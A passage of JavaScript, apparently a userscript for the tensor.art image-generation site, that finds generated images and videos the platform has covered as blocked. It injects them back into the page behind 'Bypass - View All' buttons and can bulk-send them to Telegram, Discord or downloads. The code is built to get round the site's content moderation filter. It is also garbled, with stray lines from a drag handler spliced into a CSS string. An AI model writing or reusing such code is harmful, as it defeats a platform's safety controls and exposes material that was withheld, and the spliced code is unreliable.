if (slot.dataset.bypassInjected === item.imageId) {
addTelegramSection(slot, item.imageId, taskData.taskId || taskId, taskData.createdAt);
addStatusOverlay(slot, item.imageId);
return true;
}
slot.dataset.bypassInjecting = 'true';
const mimeType = item.mimeType || '';
const cachedUrl = (!isBlockedPlaceholderUrl(item?.url) && item?.url)
? item.url
: getCachedDownloadUrl(item.imageId, mimeType);
const thumbnailContainer = slot.querySelector('.thumbnail-image') || slot.querySelector('div.relative') || slot.querySelector('.rd-8') || slot;
if (mimeType.startsWith('video/')) {
const blockedShell = slot.querySelector('div.w-full.h-full.flex-c-c.bg-fill-default.border');
if (blockedShell) blockedShell.remove();
slot.querySelectorAll('video').forEach(v => v.remove());
slot.querySelectorAll('img').forEach(img => img.remove());
const video = document.createElement('video');
video.controls = true;
video.className = 'bypass-dom-video';
video.style.width = '100%';
video.style.height = '100%';
video.style.objectFit = 'contain';
video.style.display = 'block';
video.preload = 'none';
if (thumbnailContainer !== slot && slot.classList.contains('relative')) {
video.style.position = 'absolute';
video.style.inset = '0';
}
thumbnailContainer.appendChild(video);
attachAutoRefreshOnMediaError(video, item.imageId, mimeType, { forceKind: 'video' });
if (deferVideo) {
const playOverlay = document.createElement('div');
playOverlay.className = 'bypass-gallery-play';
playOverlay.innerHTML = '<i class="fas fa-play"></i>';
playOverlay.style.cursor = 'pointer';
playOverlay.style.pointerEvents = 'auto';
playOverlay.onclick = async () => {
if (!video.src) {
const downloadUrl = cachedUrl || await ensureDownloadUrl(item.imageId, mimeType);
if (!downloadUrl) return;
video.src = downloadUrl;
}
video.play().catch(() => {});
playOverlay.remove();
};
thumbnailContainer.appendChild(playOverlay);
} else {
const downloadUrl = cachedUrl || await ensureDownloadUrl(item.imageId, mimeType);
if (!downloadUrl) {
delete slot.dataset.bypassInjecting;
delete slot.dataset.bypassInjected;
return false;
}
video.src = downloadUrl;
}
} else {
const downloadUrl = cachedUrl || await ensureDownloadUrl(item.imageId, mimeType);
if (!downloadUrl) {
delete slot.dataset.bypassInjecting;
delete slot.dataset.bypassInjected;
return false;
}
let img = thumbnailContainer.querySelector('img');
if (!img) {
img = document.createElement('img');
img.className = 'w-full h-full';
img.style.objectFit = 'contain';
img.style.objectPosition = 'center center';
img.style.cursor = 'pointer';
thumbnailContainer.appendChild(img);
}
img.src = downloadUrl;
if (img.srcset) {
img.srcset = `${downloadUrl} 1x`;
}
attachAutoRefreshOnMediaError(img, item.imageId, mimeType, { forceKind: 'image' });
img.onclick = (e) => {
e.stopPropagation();
const current = img.currentSrc || img.src || downloadUrl;
openImageModal(current, taskData.taskId || taskId, taskData.createdAt, taskData.expireAt, [], item.imageId, mimeType);
};
}
slot.dataset.bypassInjected = item.imageId;
delete slot.dataset.bypassInjecting;
slot.setAttribute('data-bypass-task-id', taskData.taskId || taskId);
slot.setAttribute('data-bypass-created-at', taskData.createdAt || '');
slot.setAttribute('data-bypass-expire-at', taskData.expireAt || '');
addTelegramSection(slot, item.imageId, taskData.taskId || taskId, taskData.createdAt);
addStatusOverlay(slot, item.imageId);
await addBypassedLinkRow(slot, item);
attachBlockedTooltip(slot, buildBlockedTooltipContent(item, taskData), { previewItem: item });
if (domInjectDebug) console.log('[InjectDOM] Injected', { taskId: taskData.taskId || taskId, imageId: item.imageId, mimeType });
return true;
};
const addSafeViewButtonToSlot = (slot, item, taskData, taskId) => {
if (!slot || !item?.imageId) return;
const blockedShell = findBlockedShell(slot);
if (!blockedShell) return;
if (blockedShell.querySelector('[data-bypass-safe-view-btn]')) return;
const inner = blockedShell.querySelector('div.p-12.flex.flex-col') || blockedShell;
const btn = document.createElement('button');
btn.className = 'vi-button vi-button--size-small vi-button--type-secondary';
btn.setAttribute('data-bypass-safe-view-btn', 'true');
btn.type = 'button';
btn.innerHTML = '<div class="vi-button__wrap">Bypass - View</div>';
btn.onclick = async (e) => {
e.stopPropagation();
hideActiveInjectedTooltip();
hideActiveBlockedTooltip();
const mediaCandidates = getTaskMediaItems(taskData);
const queue = [item, ...mediaCandidates.filter(c => c?.imageId && c.imageId !== item?.imageId)];
let injected = false;
for (const candidate of queue) {
if (!candidate?.imageId) continue;
try {
const resolvedUrl = candidate.url || await ensureDownloadUrl(candidate.imageId, candidate.mimeType || '');
if (!resolvedUrl) continue;
await injectItemIntoSlot(slot, { ...candidate, url: resolvedUrl }, taskData, taskId, { deferVideo: false });
injected = true;
break;
} catch {
// try next candidate
}
}
if (!injected) {
showToast('Unable to reveal this media yet. Try again after task data finishes loading.', 'warning');
}
};
btn.addEventListener('mouseenter', hideActiveBlockedTooltip);
inner.appendChild(btn);
attachInjectedHelpTooltip(btn, 'Reveal this blocked media in place.');
attachBlockedTooltip(blockedShell, buildBlockedTooltipContent(item, taskData), { previewItem: item });
};
const addTaskSafeViewPanel = (anchorEl, taskData, taskId, insertBeforeEl = null) => {
if (isTemplateLikePage()) return;
if (!settings.safeViewMode || !anchorEl) return;
const key = taskData?.taskId || taskId || '';
const existing = anchorEl.querySelector(`[data-bypass-task-safeview="${key}"]`);
if (existing) return;
const invalidItems = getBlockedTaskItems(taskData);
if (invalidItems.length < 1) return;
const panel = document.createElement('div');
panel.className = 'space-y-4 bg-fill-default px-12 py-8 rd-8';
panel.setAttribute('data-bypass-task-safeview', key);
const header = document.createElement('div');
header.className = 'flex-c-sb';
header.innerHTML = `
<h3 class="text-16 c-text-primary fw-600"><i class="fas fa-eye" style="margin-right: 6px;"></i> Safe View</h3>
<div class="flex-c gap-4"><span class="text-12 c-text-tertiary">Reveal all blocked media in this task</span></div>
`;
const buttonRow = document.createElement('div');
buttonRow.className = 'flex-c gap-8';
const viewAllBtn = document.createElement('button');
viewAllBtn.type = 'button';
viewAllBtn.className = getTensorButtonClass('default');
viewAllBtn.innerHTML = `
<span class="n-button__content"><i class="fas fa-unlock" style="margin-right: 6px;"></i> Bypass - View All</span>
<div aria-hidden="true" class="n-base-wave"></div>
<div aria-hidden="true" class="n-button__border"></div>
<div aria-hidden="true" class="n-button__state-border"></div>
`;
viewAllBtn.onclick = async () => {
const panelRoot = anchorEl.closest('div.bg-bg-primary') || anchorEl;
const spaceContainer = findAssociatedMediaContainer(insertBeforeEl || anchorEl, panelRoot)
|| panelRoot.querySelector('div.space-y-12')
|| panelRoot.querySelector('div.mt-12.flex.flex-wrap.gap-12')
|| panelRoot;
const mediaSlots = getMediaSlots(spaceContainer);
const blockedSlots = mediaSlots.filter(slot => isBlockedSlot(slot, true));
for (let i = 0; i < Math.min(blockedSlots.length, invalidItems.length); i++) {
await injectItemIntoSlot(blockedSlots[i], invalidItems[i], taskData, taskId, { deferVideo: false });
}
};
buttonRow.appendChild(viewAllBtn);
panel.appendChild(header);
panel.appendChild(buttonRow);
attachInjectedHelpTooltip(viewAllBtn, 'Reveal all blocked media for this task.');
if (insertBeforeEl && insertBeforeEl.parentElement) {
insertBeforeEl.parentElement.insertBefore(panel, insertBeforeEl);
} else {
anchorEl.appendChild(panel);
}
};
const addGlobalBypassAllButton = (root) => {
if (!settings.safeViewMode || !root) return;
const headerRow = root.querySelector('div.hidden.lg\\:flex.lg\\:flex-c.justify-between.w-full.py-8');
if (!headerRow) return;
if (headerRow.querySelector('[data-bypass-global-safeview]')) return;
const btn = document.createElement('button');
btn.className = 'text-14 b-1-stroke-secondary rd-8 fw-600 px-8 py-4 cursor-pointer';
btn.setAttribute('data-bypass-global-safeview', 'true');
btn.textContent = 'Bypass All current tasks';
btn.onclick = async () => {
await injectBlockedMediaIntoDom({ forceBypass: true });
};
headerRow.appendChild(btn);
attachInjectedHelpTooltip(btn, 'Reveal all blocked media across current tasks.');
};
const addTaskProfilesDisplay = (root) => {
if (!root) return;
if (root.querySelector('[data-bypass-profiles-display]')) return;
const taskProfiles = getTaskProfiles();
const profileNames = Object.keys(taskProfiles);
if (profileNames.length === 0) return;
const section = document.createElement('div');
section.setAttribute('data-bypass-profiles-display', 'true');
section.style.cssText = `
margin-top: 24px;
padding: 16px;
background: rgba(99, 102, 241, 0.05);
border: 1px solid rgba(99, 102, 241, 0.2);
border-radius: 8px;
`;
const title = document.createElement('div');
title.style.cssText = 'font-weight: 600; font-size: 14px; color: #f1f5f9; margin-bottom: 12px;';
title.innerHTML = '<i class="fas fa-layer-group"></i> Task Profiles';
section.appendChild(title);
const profilesGrid = document.createElement('div');
profilesGrid.style.cssText = 'display: grid; grid-template-columns: repeat(auto-fill, minmax(160px, 1fr)); gap: 12px;';
profileNames.forEach(profileName => {
const profile = taskProfiles[profileName];
const tasks = profile.tasks || [];
const taskCount = tasks.length;
if (taskCount === 0) return; // Skip empty profiles
// Find a random task with bypassed URL to use as preview
let previewUrl = null;
let previewItem = null;
for (const taskEntry of tasks) {
const taskItems = taskEntry.taskData?.items || [];
for (const item of taskItems) {
if (item?.imageId) {
previewItem = item;
break;
}
}
if (previewItem) break;
}
const card = document.createElement('div');
card.style.cssText = `
padding: 12px;
background: rgba(30, 41, 59, 0.8);
border: 1px solid rgba(99, 102, 241, 0.3);
border-radius: 8px;
cursor: pointer;
transition: all 0.2s;
display: flex;
flex-direction: column;
gap: 8px;
overflow: hidden;
`;
card.addEventListener('mouseenter', () => {
card.style.borderColor = '#6366f1';
card.style.background = 'rgba(99, 102, 241, 0.15)';
card.style.transform = 'translateY(-2px)';
});
card.addEventListener('mouseleave', () => {
card.style.borderColor = 'rgba(99, 102, 241, 0.3)';
right: '',
card.style.transform = 'none';
});
// Preview thumbnail
if (previewItem && previewItem.imageId) {
const preview = document.createElement('div');
preview.style.cssText = `
width: 100%;
height: 100px;
background: #0f1729;
border-radius: 6px;
display: flex;
align-items: center;
justify-content: center;
overflow: hidden;
// Always persist final position on drag end (so switching tabs doesn't "jump back")
settings.position = {
...settings.position,
top: el.style.top,
left: el.style.left,
right: '',
width: el.style.width,
height: el.style.height
};
saveSettings();
border: 1px solid rgba(148, 163, 184, 0.2);
`;
// Try to load preview
(async () => {
try {
const url = await withTimeout(getPreviewUrlForItem({
id: previewItem.imageId,
url: previewItem.url,
mimeType: previewItem.mimeType,
type: getItemType(previewItem.mimeType)
}), 5000).catch(() => null);
if (url && preview.parentElement) {
const img = document.createElement('img');
img.src = url;
img.style.cssText = 'width: 100%; height: 100%; object-fit: cover;';
preview.innerHTML = '';
preview.appendChild(img);
}
} catch (err) {
// Fallback icon
preview.innerHTML = '<i class="fas fa-image" style="font-size: 32px; color: #475569; opacity: 0.5;"></i>';
}
})();
card.appendChild(preview);
} else {
const placeholder = document.createElement('div');
placeholder.style.cssText = `
width: 100%;
height: 100px;
background: #0f1729;
border-radius: 6px;
display: flex;
align-items: center;
justify-content: center;
border: 1px dashed rgba(148, 163, 184, 0.2);
`;
placeholder.innerHTML = '<i class="fas fa-image" style="font-size: 32px; color: #475569; opacity: 0.5;"></i>';
card.appendChild(placeholder);
}
// Profile name and task count
const info = document.createElement('div');
info.style.cssText = 'display: flex; justify-content: space-between; align-items: center; gap: 6px;';
const name = document.createElement('div');
name.style.cssText = 'font-weight: 600; font-size: 12px; color: #f1f5f9; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;';
name.textContent = profileName;
name.title = profileName;
const count = document.createElement('span');
count.style.cssText = 'background: rgba(99, 102, 241, 0.3); color: #cbd5e1; padding: 2px 6px; border-radius: 999px; font-size: 10px; white-space: nowrap;';
count.textContent = taskCount;
info.appendChild(name);
info.appendChild(count);
card.appendChild(info);
// Open button
const openBtn = document.createElement('button');
openBtn.style.cssText = `
width: 100%;
padding: 6px;
border: 1px solid rgba(99, 102, 241, 0.5);
background: rgba(99, 102, 241, 0.1);
color: #cbd5e1;
border-radius: 6px;
cursor: pointer;
font-size: 11px;
transition: all 0.2s;
`;
openBtn.innerHTML = '<i class="fas fa-arrow-right" style="margin-right: 4px;"></i> Open';
openBtn.addEventListener('mouseover', () => {
openBtn.style.background = 'rgba(99, 102, 241, 0.2)';
openBtn.style.borderColor = '#6366f1';
});
openBtn.addEventListener('mouseout', () => {
openBtn.style.background = 'rgba(99, 102, 241, 0.1)';
openBtn.style.borderColor = 'rgba(99, 102, 241, 0.5)';
});
openBtn.onclick = (e) => {
e.stopPropagation();
showProfileFullscreenDialog(profileName);
};
card.appendChild(openBtn);
card.onclick = () => {
showProfileFullscreenDialog(profileName);
};
profilesGrid.appendChild(card);
});
if (profilesGrid.children.length > 0) {
section.appendChild(profilesGrid);
// Find a good place to insert (after progress section)
const progressSection = root.querySelector('[data-bypass-progress-bar]');
if (progressSection && progressSection.parentElement) {
progressSection.parentElement.parentElement.insertBefore(section, progressSection.parentElement.nextSibling);
} else {
root.appendChild(section);
}
}
};
const addGlobalTaskActionsBar = (root) => {
if (!root) return;
const headerRow = root.querySelector('div.hidden.lg\\:flex.lg\\:flex-c.justify-between.w-full.py-8');
if (!headerRow) return;
if (headerRow.parentElement?.querySelector('[data-bypass-global-actions]')) return;
const wrap = document.createElement('div');
wrap.className = 'hidden lg:flex lg:flex-c justify-between w-full py-8';
wrap.setAttribute('data-bypass-global-actions', 'true');
const left = document.createElement('div');
left.className = 'flex-c gap-12';
const right = document.createElement('div');
right.className = 'flex-c gap-8';
const preventWrap = document.createElement('label');
preventWrap.style.cssText = 'display:flex; align-items:center; gap:8px; font-size:12px; color: #cbd5e1;';
const preventInput = document.createElement('input');
preventInput.type = 'checkbox';
preventInput.checked = settings.preventDuplicateTasks;
preventInput.style.cssText = 'width:14px; height:14px; cursor:pointer;';
preventInput.onchange = () => {
settings.preventDuplicateTasks = preventInput.checked;
saveSettings();
};
preventWrap.appendChild(preventInput);
preventWrap.appendChild(document.createTextNode('Prevent duplicates'));
attachInjectedHelpTooltip(preventWrap, 'Skip items already processed when running global actions.');
const createActionBtn = (label, action, enabled, helpText) => {
if (!enabled) return null;
const btn = document.createElement('button');
btn.className = 'text-14 b-1-stroke-secondary rd-8 fw-600 px-8 py-4 cursor-pointer';
btn.textContent = label;
btn.onclick = async () => {
const items = itemsData.filter(item => item?.id);
if (!items.length) return;
const allowDuplicate = !settings.preventDuplicateTasks;
for (const item of items) {
const meta = getItemMetaFromId(item.id);
enqueueTaskAction(action, item.id, meta, allowDuplicate);
}
processTaskActionQueue();
updateGlobalActionProgressFromQueue();
};
if (helpText) {
attachInjectedHelpTooltip(btn, helpText);
}
return btn;
};
const telegramBtn = createActionBtn(
'Send All current tasks to Telegram',
'telegram',
settings.telegramEnabled && settings.sendAllTasksTelegram,
'Queue all current tasks to send to Telegram.'
);
const discordBtn = createActionBtn(
'Send All current tasks to Discord',
'discord',
settings.discordEnabled && settings.sendAllTasksDiscord,
'Queue all current tasks to send to Discord.'
);
const downloadBtn = createActionBtn(
'Download All current tasks',
'download',
settings.sendAllTasksDownload,
'Queue all current tasks for download.'
);
if (telegramBtn) right.appendChild(telegramBtn);
if (discordBtn) right.appendChild(discordBtn);
if (downloadBtn) right.appendChild(downloadBtn);
addCopyMenuButton(right);
right.appendChild(preventWrap);
const progress = document.createElement('div');
progress.className = 'bypass-global-progress';
progress.style.cssText = 'width: 100%; margin-top: 8px; margin-bottom: 8px; display: none;';
progress.innerHTML = `
<div style="font-size: 11px; color: #94a3b8; margin-bottom: 6px;" data-bypass-progress-text>Idle</div>
<div style="height: 6px; background: rgba(148,163,184,0.25); border-radius: 999px; overflow: hidden;">
<div data-bypass-progress-bar style="height: 100%; width: 0%; background: linear-gradient(135deg, #6366f1, #8b5cf6);"></div>
</div>
<div data-bypass-progress-preview style="display:none;"></div>
`;
wrap.appendChild(left);
wrap.appendChild(right);
headerRow.parentElement.insertBefore(wrap, headerRow.nextSibling);
headerRow.parentElement.insertBefore(progress, wrap.nextSibling);
updateGlobalActionProgressFromQueue();
// Add profiles display section below actions
addTaskProfilesDisplay(headerRow.parentElement);
};
const addTemplateTabActions = () => {
if (!/^https:\/\/tensor\.art\/template\/[A-Za-z0-9_-]+\/?$/.test(window.location.href)) return;
const tabsWrapper = document.querySelector('div.n-tabs-wrapper');
if (!tabsWrapper) return;
if (!tabsWrapper.querySelector('div.n-tabs-tab--active[data-name="result"]')) return;
if (tabsWrapper.querySelector('[data-bypass-template-actions]')) return;
const actionsWrap = document.createElement('div');
actionsWrap.className = 'n-tabs-tab-wrapper';
actionsWrap.setAttribute('data-bypass-template-actions', 'true');
const actionsRow = document.createElement('div');
actionsRow.style.cssText = 'display:flex; gap:8px; align-items:center; flex-wrap: wrap;';
const makeIconBtn = (icon, title, onClick) => {
const btn = document.createElement('button');
btn.className = 'text-14 b-1-stroke-secondary rd-8 fw-600 px-8 py-4 cursor-pointer';
btn.style.cssText = 'display:flex; align-items:center; justify-content:center; width:40px; height:40px;';
btn.title = title;
btn.innerHTML = `<i class="${icon}"></i>`;
btn.onclick = onClick;
attachInjectedHelpTooltip(btn, title);
return btn;
};
if (settings.telegramEnabled && settings.sendAllTasksTelegram) {
actionsRow.appendChild(makeIconBtn('fab fa-telegram', 'Send All current tasks to Telegram', () => {
const items = itemsData.filter(item => item?.id);
const allowDuplicate = !settings.preventDuplicateTasks;
items.forEach(item => enqueueTaskAction('telegram', item.id, getItemMetaFromId(item.id), allowDuplicate));
processTaskActionQueue();
updateGlobalActionProgressFromQueue();
}));
}
if (settings.discordEnabled && settings.sendAllTasksDiscord) {
actionsRow.appendChild(makeIconBtn('fab fa-discord', 'Send All current tasks to Discord', () => {
const items = itemsData.filter(item => item?.id);
const allowDuplicate = !settings.preventDuplicateTasks;
items.forEach(item => enqueueTaskAction('discord', item.id, getItemMetaFromId(item.id), allowDuplicate));
processTaskActionQueue();
updateGlobalActionProgressFromQueue();
}));
}
if (settings.sendAllTasksDownload) {
actionsRow.appendChild(makeIconBtn('fas fa-download', 'Download All current tasks', () => {
const items = itemsData.filter(item => item?.id);
const allowDuplicate = !settings.preventDuplicateTasks;
items.forEach(item => enqueueTaskAction('download', item.id, getItemMetaFromId(item.id), allowDuplicate));
processTaskActionQueue();
updateGlobalActionProgressFromQueue();
}));
}
addCopyMenuButton(actionsRow);
const dupBtn = document.createElement('label');
dupBtn.style.cssText = 'display:flex; align-items:center; gap:8px; font-size:12px; color:#cbd5e1;';
const dupInput = document.createElement('input');
dupInput.type = 'checkbox';
dupInput.checked = settings.preventDuplicateTasks;
dupInput.style.cssText = 'width:14px; height:14px; cursor:pointer;';
dupInput.onchange = () => {
settings.preventDuplicateTasks = dupInput.checked;
saveSettings();
};
dupBtn.appendChild(dupInput);
dupBtn.appendChild(document.createTextNode('Prevent duplicates'));
attachInjectedHelpTooltip(dupBtn, 'Skip items already processed when running global actions.');
actionsRow.appendChild(dupBtn);
actionsWrap.appendChild(actionsRow);
const wrappers = Array.from(tabsWrapper.querySelectorAll('div.n-tabs-tab-wrapper'));
const resultTab = wrappers.find(wrap => wrap.querySelector('div[data-name="result"]')) || tabsWrapper.lastElementChild;
if (resultTab && resultTab.parentElement) {
resultTab.parentElement.insertBefore(actionsWrap, resultTab);
} else {
tabsWrapper.appendChild(actionsWrap);
}
};
for (const root of roots) {
addGlobalBypassAllButton(root);
addGlobalTaskActionsBar(root);
addTemplateTabActions();
// Process type 1: space-y-4.px-12.py-8.rd-8.bg-fill-default
const detailsBlocks = root.querySelectorAll('div.space-y-4.px-12.py-8.rd-8.bg-fill-default');
for (const detailsBlock of detailsBlocks) {
if (!isLikelyDetailsBlock(detailsBlock)) continue;
scanStats.type1Cards += 1;
const rawCandidates = extractTaskIdCandidatesFromDetails(detailsBlock);
const candidates = rawCandidates.flatMap(candidate => buildTaskLookupVariants(candidate));
const taskId = candidates.find(candidate => !!resolveTaskData(candidate)) || candidates[0] || null;
if (!taskId) {
scanStats.type1NoTaskId += 1;
const sample = (detailsBlock.textContent || '').replace(/\s+/g, ' ').trim().slice(0, 180);
console.log(`[InjectDOM][Scan#${scanId}][Type1] Skip: no Task ID in details block`, {
sampleText: sample,
className: detailsBlock.className || '',
candidates
});
continue;
}
let taskData = resolveTaskData(taskId);
if (!taskData || !taskData.items?.length) {
const cachedTask = findCachedTaskByAnyId(taskId, cachedTasks);
if (cachedTask) {
recordTaskData(cachedTask);
taskData = resolveTaskData(taskId);
}
}
if (!taskData || !taskData.items?.length) {
scanStats.type1NoTaskData += 1;
if (domInjectDebug) console.log('[InjectDOM][Type1] No task data', { taskId, candidates, hasTaskData: Boolean(taskData) });
continue;
}
// Task-level Telegram panel under the details block
addTaskTelegramPanel(detailsBlock.parentElement || detailsBlock, taskData, taskId);
addTaskDiscordPanel(detailsBlock.parentElement || detailsBlock, taskData, taskId);
addTaskDownloadPanel(detailsBlock.parentElement || detailsBlock, taskData, taskId);
addTaskProfilePanel(detailsBlock.parentElement || detailsBlock, taskData, taskId);
addTaskSafeViewPanel(detailsBlock.parentElement || detailsBlock, taskData, taskId);
addTensorQuickQueueButtons(detailsBlock.closest('div.bg-bg-primary') || detailsBlock.parentElement || detailsBlock, taskData, taskId);
const panelRoot = detailsBlock?.closest('div.bg-bg-primary') || root;
const { slot: taskSlot, host: taskHost } = findTaskPanelSlotAndHost(panelRoot);
if (!taskSlot || !taskHost) {
scanStats.type1NoSlotHost += 1;
console.log(`[InjectDOM][Scan#${scanId}][Type1] Skip: no blocked slot/host found`, { taskId });
continue;
}
detailsBlock.setAttribute('data-bypass-task-id', taskId);
if (detailsBlock.parentElement) {
detailsBlock.parentElement.setAttribute('data-bypass-task-id', taskId);
}
taskSlot.setAttribute('data-bypass-task-id', taskId);
const hasBlockedUi = isBlockedSlot(taskSlot, true);
const alreadyInjectedForTask = taskSlot.dataset.bypassInjectedTaskId === taskId;
if (!hasBlockedUi) {
removeTaskSafeViewBypassButton(taskSlot);
// Safe View button should never appear when there is no inappropriate cover.
if (safeViewEnabled) {
scanStats.type1NoBlockedUi += 1;
console.log(`[InjectDOM][Scan#${scanId}][Type1] Skip: no blocked UI (safe view hidden)`, { taskId });
panelRoot.dataset.bypassTaskLoopTaskId = taskId;
panelRoot.dataset.bypassTaskLoopMode = 'safe';
continue;
}
// Inject On Blocked Only mode: skip clean tasks entirely.
if (settings.injectBlockedOnly) {
scanStats.type1NoBlockedUi += 1;
console.log(`[InjectDOM][Scan#${scanId}][Type1] Skip: no blocked UI (Inject On Blocked Only enabled)`, { taskId });
panelRoot.dataset.bypassTaskLoopTaskId = taskId;
panelRoot.dataset.bypassTaskLoopMode = 'inject-blocked-only';
continue;
}
}
if (!hasBlockedUi && alreadyInjectedForTask) {
scanStats.type1NoBlockedUi += 1;
console.log(`[InjectDOM][Scan#${scanId}][Type1] Skip: already injected and no blocked UI`, { taskId });
panelRoot.dataset.bypassTaskLoopTaskId = taskId;
panelRoot.dataset.bypassTaskLoopMode = safeViewEnabled ? 'safe' : 'inject';
continue;
}
const bypassMedia = await pickTaskBypassCandidate(taskData);
if (!bypassMedia) {
scanStats.type1MissingBypassUrl += 1;
ensureTaskMissingBypassMarker(taskSlot, `No bypassed media URL found in cache for task ${taskId}.`);
if (domInjectDebug) console.log('[InjectDOM][Type1] Missing bypass URL', { taskId });
continue;
}
clearTaskMissingBypassMarker(taskSlot);
const doDirectInject = async () => {
const done = injectBypassMediaIntoHost(taskHost, bypassMedia, taskData, taskId);
if (done) {
scanStats.type1Injected += 1;
console.log(`[InjectDOM][Scan#${scanId}][Type1] Injected`, {
taskId,
imageId: bypassMedia.item?.imageId || null,
mimeType: bypassMedia.mimeType || null,
mode: 'inject'
});
taskSlot.dataset.bypassInjectedTaskId = taskId;
taskSlot.dataset.bypassInjected = bypassMedia.item?.imageId || 'true';
panelRoot.dataset.bypassTaskLoopTaskId = taskId;
panelRoot.dataset.bypassTaskLoopMode = 'inject';
}
};
if (safeViewEnabled) {
ensureTaskSafeViewBypassButton(taskSlot, doDirectInject);
scanStats.type1SafeButtonsAdded += 1;
console.log(`[InjectDOM][Scan#${scanId}][Type1] Safe button ready`, { taskId });
panelRoot.dataset.bypassTaskLoopTaskId = taskId;
panelRoot.dataset.bypassTaskLoopMode = 'safe';
} else {
await doDirectInject();
}
}
// Process type 2: bg-bg-primary.rd-12.overflow-hidden.p-12
const primaryPanels = root.querySelectorAll('div.bg-bg-primary.rd-12.overflow-hidden.p-12');
for (const panel of primaryPanels) {
scanStats.type2Panels += 1;
if (panel.dataset.bypassTaskLoopTaskId) {
scanStats.type2SkippedAlreadyHandled += 1;
continue;
}
const detailsInPanel = panel.querySelector('div.space-y-4.px-12.py-8.rd-8.bg-fill-default');
if (!detailsInPanel) continue;
if (!isLikelyDetailsBlock(detailsInPanel)) continue;
const rawCandidates = extractTaskIdCandidatesFromDetails(detailsInPanel);
const candidates = rawCandidates.flatMap(candidate => buildTaskLookupVariants(candidate));
const taskId = candidates.find(candidate => !!resolveTaskData(candidate)) || candidates[0] || null;
if (!taskId) continue;
let taskData = resolveTaskData(taskId);
if (!taskData || !taskData.items?.length) {
const cachedTask = findCachedTaskByAnyId(taskId, cachedTasks);
if (cachedTask) {
recordTaskData(cachedTask);
taskData = resolveTaskData(taskId);
}
}
if (!taskData || !taskData.items?.length) {
scanStats.type2NoTaskData += 1;
if (domInjectDebug) console.log('[InjectDOM][Type2] No task data', { taskId, candidates, hasTaskData: Boolean(taskData) });
continue;
}
// Task-level Telegram panel under the details block
addTaskTelegramPanel(detailsInPanel.parentElement || detailsInPanel, taskData, taskId);
addTaskDiscordPanel(detailsInPanel.parentElement || detailsInPanel, taskData, taskId);
addTaskDownloadPanel(detailsInPanel.parentElement || detailsInPanel, taskData, taskId);
addTaskProfilePanel(detailsInPanel.parentElement || detailsInPanel, taskData, taskId);
addTaskSafeViewPanel(detailsInPanel.parentElement || detailsInPanel, taskData, taskId);
addTensorQuickQueueButtons(panel, taskData, taskId);
const spaceContainer = panel.querySelector('div.space-y-12');
if (!spaceContainer) {
scanStats.type2NoContainerOrSlots += 1;
continue;
}
const mediaSlots = Array.from(spaceContainer.querySelectorAll('div.relative.group.h-auto.min-h-0.w-full'));
if (!mediaSlots.length) {
scanStats.type2NoContainerOrSlots += 1;
continue;
}
const blockedSlots = mediaSlots.filter(slot => isBlockedSlot(slot));
const pendingSlots = blockedSlots.filter(slot => !slot.dataset.bypassInjected);
if (panel.dataset.bypassProcessed === 'true' && !pendingSlots.length) continue;
const invalidItems = getBlockedTaskItems(taskData);
if (domInjectDebug) console.log('[InjectDOM][Type2] Slots', { taskId, blockedSlots: blockedSlots.length, invalidItems: invalidItems.length, pendingSlots: pendingSlots.length });
if (!invalidItems.length || !blockedSlots.length) {
scanStats.type2NoInvalidOrBlocked += 1;
continue;
}
for (let i = 0; i < Math.min(blockedSlots.length, invalidItems.length); i++) {
const slot = blockedSlots[i];
const item = invalidItems[i];
if (safeViewEnabled) {
addSafeViewButtonToSlot(slot, item, taskData, taskId);
scanStats.type2SafeButtonsAdded += 1;
} else {
await injectItemIntoSlot(slot, item, taskData, taskId, { deferVideo: bypassDeferVideo });
scanStats.type2Injected += 1;
}
}
panel.dataset.bypassProcessed = 'true';
}
// Process type 3: template/result cards
const templateCards = Array.from(root.querySelectorAll('div.min-h-100'))
.filter(card => card.querySelector('h3.c-text-secondary')?.textContent?.includes('ID:'));
scanStats.templateCards += templateCards.length;
for (const card of templateCards) {
const header = card.querySelector('h3.c-text-secondary');
const taskId = extractTaskIdFromHeaderText(header?.textContent || '');
if (!taskId) continue;
const taskData = resolveTaskData(taskId);
if (!taskData || !taskData.items?.length) {
if (domInjectDebug) console.log('[InjectDOM][Template] No task data', { taskId, hasTaskData: Boolean(taskData) });
continue;
}
const mediaContainer = card.querySelector('div.mt-12.flex.flex-wrap.gap-12')
|| card.querySelector('div.flex.flex-wrap.gap-12')
|| card.querySelector('div.flex.flex-wrap.gap-8')
|| card.querySelector('div[class*="flex-wrap"]');
if (!mediaContainer) continue;
// Task-level Telegram panel for template cards (insert above media)
addTaskTelegramPanel(card, taskData, taskId, mediaContainer);
addTaskDiscordPanel(card, taskData, taskId, mediaContainer);
addTaskDownloadPanel(card, taskData, taskId, mediaContainer);
addTaskProfilePanel(card, taskData, taskId, mediaContainer);
addTaskSafeViewPanel(card, taskData, taskId, mediaContainer);
addTensorQuickQueueButtons(card, taskData, taskId);
const mediaSlots = getMediaSlots(mediaContainer);
if (!mediaSlots.length) continue;
const blockedSlots = mediaSlots.filter(slot => isBlockedSlot(slot, true));
const invalidItems = getBlockedTaskItems(taskData);
if (domInjectDebug) console.log('[InjectDOM][Template] Slots', { taskId, blockedSlots: blockedSlots.length, invalidItems: invalidItems.length });
if (!invalidItems.length || !blockedSlots.length) continue;
for (let i = 0; i < Math.min(blockedSlots.length, invalidItems.length); i++) {
const slot = blockedSlots[i];
const item = invalidItems[i];
if (safeViewEnabled) {
addSafeViewButtonToSlot(slot, item, taskData, taskId);
} else {
await injectItemIntoSlot(slot, item, taskData, taskId, { deferVideo: bypassDeferVideo });
}
}
}
// Process type 4: workflow editor page cards
const workflowCards = Array.from(root.querySelectorAll('div.min-h-100'))
.filter(card => card.querySelector('h3.c-text-secondary')?.textContent?.includes('ID:'));
for (const card of workflowCards) {
const header = card.querySelector('h3.c-text-secondary');
const taskId = extractTaskIdFromHeaderText(header?.textContent || '');
if (!taskId) continue;
const taskData = resolveTaskData(taskId);
if (!taskData || !taskData.items?.length) {
if (domInjectDebug) console.log('[InjectDOM][Workflow] No task data', { taskId, hasTaskData: Boolean(taskData) });
continue;
}
const mediaContainer = card.querySelector('div.mt-12.flex.flex-wrap.gap-12')
|| card.querySelector('div.flex.flex-wrap.gap-12')
|| card.querySelector('div.flex.flex-wrap.gap-8')
|| card.querySelector('div[class*="flex-wrap"]');
if (!mediaContainer) continue;
addTensorQuickQueueButtons(card, taskData, taskId);
const mediaSlots = getMediaSlots(mediaContainer);
if (!mediaSlots.length) continue;
const blockedSlots = mediaSlots.filter(slot => isBlockedSlot(slot, true));
